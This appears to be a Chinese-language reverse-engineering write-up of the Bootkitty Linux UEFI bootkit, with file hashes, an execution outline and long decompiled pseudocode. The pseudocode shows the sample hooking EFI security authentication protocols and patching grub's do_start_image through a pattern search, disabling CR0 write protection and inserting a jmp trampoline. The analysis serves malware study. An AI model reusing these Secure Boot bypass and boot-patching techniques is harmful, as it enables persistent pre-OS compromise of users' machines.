Bootkitty:Linux uefi bootkit 分析

Bootkitty:Linux uefi bootkit 分析

参考:Bootkitty:分析第一个适用于 Linux 的 UEFI bootkit --- Bootkitty: Analyzing the first UEFI bootkit for Linux

文件信息

PE64
    操作系统: UEFI[AMD64, 64 位, DLL]
    链接程序: Microsoft Linker(14.36.34123)
    编译器: Microsoft Visual C/C++(19.36.34123)[LTCG/C]
    语言: C
    工具: Visual Studio(2022, v17.6)
    签名工具: Windows Authenticode(2.0)[PKCS #7]
    调试数据: Binary[偏移=0x00014c28,大小=0x4c]
        调试数据: PDB file link(7.0)
    附加: Binary[偏移=0x00017600,大小=0x0630]
        证书: WinAuth(2.0)[PKCS #7]

sha1:35adf3aed60440da7b80f3c452047079e54364c1
pdb路径:D:\Projects\Bootkitty-Linux\x64\Release\BootKit.pdb

根据内置的硬编码,猜测其测试环境大概率为ubuntu 24.04 (Noble),

grubx64.efi sha1:3d07ee5990cea2e3253e2ca43060cbb0c5d3ca03
vmlinuz sha1:11fa787e8af15392b2107e64562de00bf9469079

0、ModuleEntryPoint 入口函数

流程如下

  1. 检查是否启用了 UEFI 安全启动 (获取"SecureBoot" 变量)

  2. hook _EFI_SECURITY2_ARCH_PROTOCOL FileAuthentication

  3. hook _EFI_SECURITY_ARCH_PROTOCOL FileAuthenticationState

  4. 加载grubx64-real.efi (自身伪装为grubx64.efi,grubx64-real.efi 为原始boot)

  5. hook grub内部函数 do_start_image

    hook_do_start_image 内继续hook vmlinuz 内核

  6. hook grub内部函数 shim_lock_verifier_init

  7. hook grub内部函数 grub_verifiers_open

对应下图(5)之后

引用:Bootkitty:分析第一个适用于 Linux 的 UEFI bootkit --- Bootkitty: Analyzing the first UEFI bootkit for Linux

Figure 6. Bootkitty bootkit execution overview

EFI_STATUS __fastcall ModuleEntryPoint(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE *SystemTable)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  flags_180018176 = ::flags_180018176;
  ParentImageHandle = ImageHandle;
  if ( (::flags_180018176 & 1) != 0 && !ImageHandle && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      StartOfBuffer,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      v2,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\UefiBootServicesTableLib\\UefiBootServicesTableLib.c"),
      0x2Di64,
      COERCE_DOUBLE("gImageHandle != ((void *) 0)"));
    if ( gST )
    {
      ConOut = gST->ConOut;
      if ( ConOut )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))ConOut->OutputString)(ConOut, StartOfBuffer);
    }
    flags_180018176 = ::flags_180018176;
    if ( (::flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (::flags_180018176 & 0x20) != 0 )
    {
      SecureBoot_var = 0i64;
      while ( 1 )
        ;
    }
  }
  ::SystemTable = SystemTable;
  if ( (flags_180018176 & 1) != 0 && !SystemTable && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      StartOfBuffer,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      v2,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\UefiBootServicesTableLib\\UefiBootServicesTableLib.c"),
      0x33i64,
      COERCE_DOUBLE("gST != ((void *) 0)"));
    if ( gST )
    {
      ConOut_1 = gST->ConOut;
      if ( ConOut_1 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))ConOut_1->OutputString)(
          ConOut_1,
          StartOfBuffer);
    }
    flags_180018176 = ::flags_180018176;
    if ( (::flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (::flags_180018176 & 0x20) != 0 )
    {
      SecureBoot_var = 0i64;
      while ( 1 )
        ;
    }
  }
  BootServices = SystemTable->BootServices;
  gBS = BootServices;
  if ( (flags_180018176 & 1) != 0 && !BootServices && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      StartOfBuffer,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      v2,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\UefiBootServicesTableLib\\UefiBootServicesTableLib.c"),
      0x39i64,
      COERCE_DOUBLE("gBS != ((void *) 0)"));
    if ( gST )
    {
      ConOut_2 = gST->ConOut;
      if ( ConOut_2 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))ConOut_2->OutputString)(
          ConOut_2,
          StartOfBuffer);
    }
    flags_180018176 = ::flags_180018176;
    if ( (::flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (::flags_180018176 & 0x20) != 0 )
    {
      SecureBoot_var = 0i64;
      while ( 1 )
        ;
    }
  }
  RuntimeServices = SystemTable->RuntimeServices;
  gRT = RuntimeServices;
  if ( (flags_180018176 & 1) != 0 && !RuntimeServices && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      StartOfBuffer_1,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      v2,
      COERCE_DOUBLE(
        "D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\UefiRuntimeServicesTableLib\\UefiRuntimeServicesTableLib.c"),
      0x29i64,
      COERCE_DOUBLE("gRT != ((void *) 0)"));
    if ( gST )
    {
      ConOut_3 = gST->ConOut;
      if ( ConOut_3 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))ConOut_3->OutputString)(
          ConOut_3,
          StartOfBuffer_1);
    }
    if ( (::flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (::flags_180018176 & 0x20) != 0 )
    {
      SecureBoot_var = 0i64;
      while ( 1 )
        ;
    }
  }
  stauts = gBS->LocateProtocol(
             &EFI_DEVICE_PATH_UTILITIES_PROTOCOL_GUID,
             0i64,
             (void **)&gEfiDevicePathUtilitiesProtocol);// gBS->LocateProtocol()
                                                // EFI_STATUS(EFIAPI * EFI_LOCATE_PROTOCOL) (IN EFI_GUID *Protocol, IN VOID *Registration, OPTIONAL OUT VOID **Interface)
                                                // Protocol       Provides the protocol to search for.
                                                // Registration   Optional registration key returned from RegisterProtocolNotify().
                                                // Interface      On return, a pointer to the first interface that matches Protocol and Registration.
  flags_180018176_1 = ::flags_180018176;
  if ( (::flags_180018176 & 1) != 0 )
  {
    if ( stauts < 0 )
    {
      if ( (::flags_180018176 & 2) != 0 )
      {
        sub_18000AF78(0x80000000i64, "\nASSERT_EFI_ERROR (Status = %r)\n", stauts);
        flags_180018176_1 = ::flags_180018176;
      }
      if ( !event_flag_18001817B )
      {
        AsciiSPrint_180006A50(
          StartOfBuffer_1,
          0x200u,
          "ASSERT [%a] %a(%d): %a\n",
          v2,
          COERCE_DOUBLE(
            "D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\UefiDevicePathLibDevicePathProtocol\\UefiDevicePathLib.c"),
          0x43i64,
          COERCE_DOUBLE("!EFI_ERROR (Status)"));
        if ( gST )
        {
          ConOut_4 = gST->ConOut;
          if ( ConOut_4 )
            ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))ConOut_4->OutputString)(
              ConOut_4,
              StartOfBuffer_1);
        }
        flags_180018176_1 = ::flags_180018176;
        if ( (::flags_180018176 & 0x10) != 0 )
        {
          __debugbreak();
        }
        else if ( (::flags_180018176 & 0x20) != 0 )
        {
          SecureBoot_var = 0i64;
          while ( 1 )
            ;
        }
      }
    }
    if ( (flags_180018176_1 & 1) != 0 && !gEfiDevicePathUtilitiesProtocol && !event_flag_18001817B )
    {
      AsciiSPrint_180006A50(
        StartOfBuffer,
        0x200u,
        "ASSERT [%a] %a(%d): %a\n",
        v2,
        COERCE_DOUBLE(
          "D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\UefiDevicePathLibDevicePathProtocol\\UefiDevicePathLib.c"),
        0x44i64,
        COERCE_DOUBLE("mDevicePathLibDevicePathUtilities != ((void *) 0)"));
      if ( gST )
      {
        ConOut_5 = gST->ConOut;
        if ( ConOut_5 )
          ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))ConOut_5->OutputString)(
            ConOut_5,
            StartOfBuffer);
      }
      if ( (::flags_180018176 & 0x10) != 0 )
      {
        __debugbreak();
      }
      else if ( (::flags_180018176 & 0x20) != 0 )
      {
        SecureBoot_var = 0i64;
        while ( 1 )
          ;
      }
    }
  }
  status = gBS->LocateProtocol(&EFI_HII_STRING_PROTOCOL_GUID, 0i64, (void **)&gEfiHiiStringProtocol);// gBS->LocateProtocol()
                                                // EFI_STATUS(EFIAPI * EFI_LOCATE_PROTOCOL) (IN EFI_GUID *Protocol, IN VOID *Registration, OPTIONAL OUT VOID **Interface)
                                                // Protocol       Provides the protocol to search for.
                                                // Registration   Optional registration key returned from RegisterProtocolNotify().
                                                // Interface      On return, a pointer to the first interface that matches Protocol and Registration.
  if ( (::flags_180018176 & 1) != 0 && status < 0 )
  {
    if ( (::flags_180018176 & 2) != 0 )
      sub_18000AF78(0x80000000i64, "\nASSERT_EFI_ERROR (Status = %r)\n", status);
    if ( !event_flag_18001817B )
    {
      AsciiSPrint_180006A50(
        StartOfBuffer_1,
        0x200u,
        "ASSERT [%a] %a(%d): %a\n",
        v2,
        COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdeModulePkg\\Library\\UefiHiiServicesLib\\UefiHiiServicesLib.c"),
        0x52i64,
        COERCE_DOUBLE("!EFI_ERROR (Status)"));
      if ( gST )
      {
        ConOut_6 = gST->ConOut;
        if ( ConOut_6 )
          ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))ConOut_6->OutputString)(
            ConOut_6,
            StartOfBuffer_1);
      }
      if ( (::flags_180018176 & 0x10) != 0 )
      {
        __debugbreak();
      }
      else if ( (::flags_180018176 & 0x20) != 0 )
      {
        SecureBoot_var = 0i64;
        while ( 1 )
          ;
      }
    }
  }
  status_1 = gBS->LocateProtocol(&EFI_HII_DATABASE_PROTOCOL_GUID, 0i64, (void **)&gEfiHiiDatabaseProtocol);// gBS->LocateProtocol()
                                                // EFI_STATUS(EFIAPI * EFI_LOCATE_PROTOCOL) (IN EFI_GUID *Protocol, IN VOID *Registration, OPTIONAL OUT VOID **Interface)
                                                // Protocol       Provides the protocol to search for.
                                                // Registration   Optional registration key returned from RegisterProtocolNotify().
                                                // Interface      On return, a pointer to the first interface that matches Protocol and Registration.
  if ( (::flags_180018176 & 1) != 0 && status_1 < 0 )
  {
    if ( (::flags_180018176 & 2) != 0 )
      sub_18000AF78(0x80000000i64, "\nASSERT_EFI_ERROR (Status = %r)\n", status_1);
    if ( !event_flag_18001817B )
    {
      AsciiSPrint_180006A50(
        StartOfBuffer_1,
        0x200u,
        "ASSERT [%a] %a(%d): %a\n",
        v2,
        COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdeModulePkg\\Library\\UefiHiiServicesLib\\UefiHiiServicesLib.c"),
        0x58i64,
        COERCE_DOUBLE("!EFI_ERROR (Status)"));
      if ( gST )
      {
        ConOut_7 = gST->ConOut;
        if ( ConOut_7 )
          ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))ConOut_7->OutputString)(
            ConOut_7,
            StartOfBuffer_1);
      }
      if ( (::flags_180018176 & 0x10) != 0 )
      {
        __debugbreak();
      }
      else if ( (::flags_180018176 & 0x20) != 0 )
      {
        SecureBoot_var = 0i64;
        while ( 1 )
          ;
      }
    }
  }
  status_2 = gBS->LocateProtocol(&EFI_HII_CONFIG_ROUTING_PROTOCOL_GUID, 0i64, (void **)&gEfiHiiConfigRoutingProtocol);// gBS->LocateProtocol()
                                                // EFI_STATUS(EFIAPI * EFI_LOCATE_PROTOCOL) (IN EFI_GUID *Protocol, IN VOID *Registration, OPTIONAL OUT VOID **Interface)
                                                // Protocol       Provides the protocol to search for.
                                                // Registration   Optional registration key returned from RegisterProtocolNotify().
                                                // Interface      On return, a pointer to the first interface that matches Protocol and Registration.
  if ( (::flags_180018176 & 1) != 0 && status_2 < 0 )
  {
    if ( (::flags_180018176 & 2) != 0 )
      sub_18000AF78(0x80000000i64, "\nASSERT_EFI_ERROR (Status = %r)\n", status_2);
    if ( !event_flag_18001817B )
    {
      AsciiSPrint_180006A50(
        StartOfBuffer_1,
        0x200u,
        "ASSERT [%a] %a(%d): %a\n",
        v2,
        COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdeModulePkg\\Library\\UefiHiiServicesLib\\UefiHiiServicesLib.c"),
        0x5Ei64,
        COERCE_DOUBLE("!EFI_ERROR (Status)"));
      if ( gST )
      {
        ConOut_8 = gST->ConOut;
        if ( ConOut_8 )
          ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))ConOut_8->OutputString)(
            ConOut_8,
            StartOfBuffer_1);
      }
      if ( (::flags_180018176 & 0x10) != 0 )
      {
        __debugbreak();
      }
      else if ( (::flags_180018176 & 0x20) != 0 )
      {
        SecureBoot_var = 0i64;
        while ( 1 )
          ;
      }
    }
  }
  gBS->LocateProtocol(&EFI_HII_FONT_PROTOCOL_GUID, 0i64, (void **)&gEfiHiiFontProtocol);// gBS->LocateProtocol()
                                                // EFI_STATUS(EFIAPI * EFI_LOCATE_PROTOCOL) (IN EFI_GUID *Protocol, IN VOID *Registration, OPTIONAL OUT VOID **Interface)
                                                // Protocol       Provides the protocol to search for.
                                                // Registration   Optional registration key returned from RegisterProtocolNotify().
                                                // Interface      On return, a pointer to the first interface that matches Protocol and Registration.
  gBS->LocateProtocol(&EFI_HII_IMAGE_PROTOCOL_GUID, 0i64, (void **)&gEfiHiiImageProtocol);// EFI_BOOT_SERVICES *gBS
                                                // gBS->LocateProtocol()
                                                // EFI_STATUS(EFIAPI * EFI_LOCATE_PROTOCOL) (IN EFI_GUID *Protocol, IN VOID *Registration, OPTIONAL OUT VOID **Interface)
                                                // Protocol       Provides the protocol to search for.
                                                // Registration   Optional registration key returned from RegisterProtocolNotify().
                                                // Interface      On return, a pointer to the first interface that matches Protocol and Registration.
  loadimg = (EFI_LOADED_IMAGE_PROTOCOL *)1;
  // 检查是否启用了 UEFI 安全启动
  if ( !((__int64 (__fastcall *)(const wchar_t *, EFI_GUID *, _QWORD, EFI_LOADED_IMAGE_PROTOCOL **, EFI_LOADED_IMAGE_PROTOCOL **))::SystemTable->RuntimeServices->GetVariable)(
          L"SecureBoot",
          &EFI_SIMPLE_BOOT_FLAG_VARIABLE_GUID,
          0i64,
          &loadimg,
          &SecureBoot_var) )
  {
    if ( (_BYTE)SecureBoot_var )
    {
      callback_1_18000D8A0 = (void (__fastcall *)())ret_1_18000D8A0;
      callback_1_18000D9A0 = (__int64 (__fastcall *)(_QWORD, _QWORD))ret_1_18000D9A0;
      callback_0_18000D9B0 = (__int64 (__fastcall *)(_QWORD, _QWORD))ret_0_18000D9B0;
      Handle = 0i64;
      if ( !original_security_FileAuthenticationState_1800181F0 )
      {
        // ///
        // /// The EFI_SECURITY2_ARCH_PROTOCOL is used to abstract platform-specific policy from the
        // /// DXE Foundation. This includes measuring the PE/COFF image prior to invoking, comparing the
        // /// image against a policy (whether a white-list/black-list of public image verification keys
        // /// or registered hashes).
        // ///
        // struct _EFI_SECURITY2_ARCH_PROTOCOL {
        //   EFI_SECURITY2_FILE_AUTHENTICATION    FileAuthentication;
        // };
        ((void (__fastcall *)(EFI_GUID *, _QWORD, EFI_SECURITY2_ARCH_PROTOCOL **))::SystemTable->BootServices->LocateProtocol)(
          &EFI_SECURITY2_ARCH_PROTOCOL_GUID,
          0i64,
          &Handle);
        // ///
        // /// The EFI_SECURITY_ARCH_PROTOCOL is used to abstract platform-specific policy
        // /// from the DXE core.  This includes locking flash upon failure to authenticate,
        // /// attestation logging, and other exception operations.
        // ///
        // struct _EFI_SECURITY_ARCH_PROTOCOL {
        //   EFI_SECURITY_FILE_AUTHENTICATION_STATE    FileAuthenticationState;
        // };
        if ( !((__int64 (__fastcall *)(EFI_GUID *, _QWORD, EFI_SECURITY_ARCH_PROTOCOL **))::SystemTable->BootServices->LocateProtocol)(
                &EFI_SECURITY_ARCH_PROTOCOL_GUID,
                0i64,
                &v35) )
        {
          if ( Handle )
          {
            original_security2_FileAuthentication_1800181E0 = (__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD, _QWORD, _DWORD))Handle->FileAuthentication;
            Handle->FileAuthentication = (EFI_SECURITY2_FILE_AUTHENTICATION)hook_security2_FileAuthentication_18000D7E0;
          }
          original_security_FileAuthenticationState_1800181F0 = (__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD))v35->FileAuthenticationState;
          v35->FileAuthenticationState = (EFI_SECURITY_FILE_AUTHENTICATION_STATE)hook_security_FileAuthenticationState_18000D340;
        }
      }
    }
  }
  printf_18000857C((__int64)L"Bootkitty's Bootkit\n");
  printf_18000857C((__int64)L"- Devloped By BlackCat\n");
  Handle = 0i64;
  gBS->HandleProtocol(ParentImageHandle, &EFI_LOADED_IMAGE_PROTOCOL_GUID, (void **)&loadimg);// gBS->HandleProtocol()
                                                // EFI_STATUS(EFIAPI * EFI_HANDLE_PROTOCOL) (IN EFI_HANDLE Handle, IN EFI_GUID *Protocol, OUT VOID **Interface)
                                                // Handle      The handle being queried.
                                                // Protocol    The published unique identifier of the protocol.
                                                // Interface   Supplies the address where a pointer to the corresponding Protocol Interface is returned.
  // \\EFI\\ubuntu\\grubx64-real.efi
  if ( (find_grubx64_180010630(NoHandles, &SecureBoot_var) & 0x8000000000000000ui64) != 0i64 || !SecureBoot_var )
    return 0i64;
  status_3 = gBS->LoadImage(
               1u,
               ParentImageHandle,
               (EFI_DEVICE_PATH_PROTOCOL *)SecureBoot_var,
               0i64,
               0i64,
               (EFI_HANDLE *)&v33);             // gBS->LoadImage()
                                                // EFI_STATUS(EFIAPI * EFI_IMAGE_LOAD) (IN BOOLEAN BootPolicy, IN EFI_HANDLE ParentImageHandle, IN EFI_DEVICE_PATH_PROTOCOL *DevicePath, IN VOID *SourceBuffer OPTIONAL, IN UINTN SourceSize, OUT EFI_HANDLE *ImageHandle)
                                                // BootPolicy          If TRUE, indicates that the request originates from the boot manager, and that the boot manager is attempting to load FilePath as a boot selection. Ignored if SourceBuffer is not NULL.
                                                // ParentImageHandle   The caller's image handle.
                                                // DevicePath          The DeviceHandle specific file path from which the image is loaded.
                                                // SourceBuffer        If not NULL, a pointer to the memory location containing a copy of the image to be loaded.
                                                // SourceSize          The size in bytes of SourceBuffer. Ignored if SourceBuffer is NULL.
                                                // ImageHandle         The pointer to the returned image handle that is created when the image is successfully loaded.
  v23 = status_3 < 0;
  if ( !status_3 )
  {
    gBS->HandleProtocol(v33, &EFI_LOADED_IMAGE_PROTOCOL_GUID, (void **)&Interface_);// gBS->HandleProtocol()
                                                // EFI_STATUS(EFIAPI * EFI_HANDLE_PROTOCOL) (IN EFI_HANDLE Handle, IN EFI_GUID *Protocol, OUT VOID **Interface)
                                                // Handle      The handle being queried.
                                                // Protocol    The published unique identifier of the protocol.
                                                // Interface   Supplies the address where a pointer to the corresponding Protocol Interface is returned.
    // do_start_image
    v24 = hook_grub_1_mods__do_start_image_18000EFB0(Interface_->ImageBase, Interface_->ImageSize);
    v23 = v24 < 0;
    if ( !v24 )
    {
      // shim_lock_verifier_init 
      v25 = hook_grub_2_shim_lock_verifier_init_18000E990(Interface_->ImageBase, Interface_->ImageSize);
      v23 = v25 < 0;
      if ( !v25 )
      {
        // grub_verifiers_open 
        v26 = hook_grub_3__grub_verifiers_open_18000E380(Interface_->ImageBase, Interface_->ImageSize);
        v23 = v26 < 0;
        if ( !v26 )
          goto LABEL_95;
      }
    }
  }
  if ( !v23 )
LABEL_95:
    gBS->StartImage(v33, 0i64, 0i64);           // gBS->StartImage()
                                                // EFI_STATUS(EFIAPI * EFI_IMAGE_START) (IN EFI_HANDLE ImageHandle, OUT UINTN *ExitDataSize, OUT CHAR16 **ExitData OPTIONAL)
                                                // ImageHandle    Handle of image to be started.
                                                // ExitDataSize   The pointer to the size, in bytes, of ExitData.
                                                // ExitData       The pointer to a pointer to a data buffer that includes a Null-terminated string, optionally followed by additional binary data.
  return 0i64;
}

1、hook do_start_image

hook_grub_1_mods__do_start_image_18000EFB0

通过硬编码搜索

49 8B 4C 24 40 49 8B 16

定位到grub 的mods节,提取mod后 对应do_start_image函数内部,

unsigned __int64 __fastcall hook_grub_1_mods__do_start_image_18000EFB0(void *ImageBase, unsigned int ImageSize)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  v3 = (char *)ImageBase;
  if ( !ImageBase )
    return 0x8000000000000002ui64;
  v4 = (char *)ImageBase + ImageSize - 8;
  if ( ImageBase >= v4 )
    return 0x800000000000000Eui64;

  // 49 8B 4C 24 40 49 8B 16

  // mods:0000000000110A5C 49 8B 4C 24 40                                mov     rcx, [r12+40h]
  // mods:0000000000110A61 49 8B 16                                      mov     rdx, [r14]
  for ( i = pattern_180012540 - (_BYTE *)ImageBase; ; --i )
  {
    v6 = 0;
    v7 = v3;
    do
    {
      v8 = v7[i];
      if ( v8 != (char)0xCC && *v7 != v8 )
        break;
      ++v6;
      ++v7;
    }
    while ( v6 < 8 );
    if ( v6 == 8 )
      break;
    if ( ++v3 >= v4 )
      return 0x800000000000000Eui64;
  }
  *(_QWORD *)v30 = hook_grub_f1__do_start_image_18000DE20;
  original_grub_f1_180018268 = v3;
  v10 = gBS->RaiseTPL(0x1Fui64);                // gBS->RaiseTPL()
                                                // EFI_TPL(EFIAPI * EFI_RAISE_TPL) (IN EFI_TPL NewTpl)
                                                // NewTpl   The new task priority level.
  v11 = flags_180018176;
  v12 = original_grub_f1_180018268;
  v13 = v10;
  if ( (flags_180018176 & 1) != 0 && ~(unsigned __int64)backup_original_grub_f1_180018280 < 0xB && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      StartOfBuffer,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      v2,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x32i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
    if ( gST )
    {
      ConOut = gST->ConOut;
      if ( ConOut )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))ConOut->OutputString)(ConOut, StartOfBuffer);
    }
    v11 = flags_180018176;
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( (v11 & 1) != 0 && 0xFFFFFFFFFFFFFFFFui64 - (unsigned __int64)v12 < 0xB && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      v32,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      v2,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x33i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
    if ( gST )
    {
      v15 = gST->ConOut;
      if ( v15 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v15->OutputString)(v15, v32);
    }
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( backup_original_grub_f1_180018280 != v12 )
    memmove_1800064F0(backup_original_grub_f1_180018280, v12, 0xCui64);
  v16 = original_grub_f1_180018268;
  v17 = _readcr0_();
  v18 = BYTE2(v17) & 1;
  if ( (v17 & 0x10000) != 0 )
    writecr0_180001010(v17 & 0xFFFFFFFFFFFEFFFFui64);
  v19 = flags_180018176;
  if ( (flags_180018176 & 1) != 0 && 0xFFFFFFFFFFFFFFFFui64 - (unsigned __int64)v16 < 0xB && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      v33,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      v2,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x32i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
    if ( gST )
    {
      v20 = gST->ConOut;
      if ( v20 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v20->OutputString)(v20, v33);
    }
    v19 = flags_180018176;
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( (v19 & 1) != 0 && ~(unsigned __int64)jmp_rax_trampoline_180012520 < 0xB && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      v34,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      v2,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x33i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
    if ( gST )
    {
      v21 = gST->ConOut;
      if ( v21 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v21->OutputString)(v21, v34);
    }
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( v16 != jmp_rax_trampoline_180012520 )
    // .rdata:0000000180012520 48 B8 00 00 00 00 00 00 00 00                 mov     rax, 0
    // .rdata:000000018001252A FF E0                                         jmp     rax
    memmove_1800064F0(v16, (char *)jmp_rax_trampoline_180012520, 0xCui64);
  if ( v18 )
  {
    v22 = _readcr0_();
    writecr0_180001010(v22 | 0x10000);
  }
  v23 = original_grub_f1_180018268 + 2;
  v24 = _readcr0_();
  v25 = BYTE2(v24) & 1;
  if ( (v24 & 0x10000) != 0 )
    writecr0_180001010(v24 & 0xFFFFFFFFFFFEFFFFui64);
  v26 = flags_180018176;
  if ( (flags_180018176 & 1) != 0 && ~(unsigned __int64)v23 < 7 && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      v32,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      v2,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x32i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
    if ( gST )
    {
      v27 = gST->ConOut;
      if ( v27 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v27->OutputString)(v27, v32);
    }
    v26 = flags_180018176;
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( (v26 & 1) != 0 && ~(unsigned __int64)v30 < 7 && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      StartOfBuffer,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      v2,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x33i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
    if ( gST )
    {
      v28 = gST->ConOut;
      if ( v28 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v28->OutputString)(v28, StartOfBuffer);
    }
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( v23 != v30 )
    memmove_1800064F0(v23, v30, 8ui64);
  if ( v25 )
  {
    v29 = _readcr0_();
    writecr0_180001010(v29 | 0x10000);
  }
  gBS->RestoreTPL(v13);                         // gBS->RestoreTPL()
                                                // VOID(EFIAPI * EFI_RESTORE_TPL) (IN EFI_TPL OldTpl)
                                                // OldTpl   The previous task priority level to restore.
  return 0i64;
}

do_start_image (目标函数)

汇编

.text:0000000000000286                               do_start_image_286 proc near            ; CODE XREF: sub_46E+4D↓p
.text:0000000000000286                                                                       ; DATA XREF: sub_46E:loc_4B1↓o
.text:0000000000000286 F3 0F 1E FA                                   endbr64
.text:000000000000028A 55                                            push    rbp
.text:000000000000028B 48 89 E5                                      mov     rbp, rsp
.text:000000000000028E 41 57                                         push    r15
.text:0000000000000290 41 56                                         push    r14
.text:0000000000000292 41 55                                         push    r13
.text:0000000000000294 41 54                                         push    r12
.text:0000000000000296 53                                            push    rbx
.text:0000000000000297 57                                            push    rdi
.text:0000000000000298 48 A1 D0 10 00 00 00 00 00 00                 mov     rax, ds:grub_efi_image_handle
